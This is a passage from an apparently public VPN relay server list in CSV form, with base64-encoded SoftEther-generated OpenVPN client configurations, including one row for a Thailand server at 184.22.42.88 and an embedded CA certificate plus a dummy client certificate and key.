MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn156444307,184.22.42.88,699950,5,93375531,Thailand,TH,2,82061195,113220,21915390409049,2weeks,DESKTOP-UID6QT2's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHVkcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxODQuMjIuNDIuODggMTcxNA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVz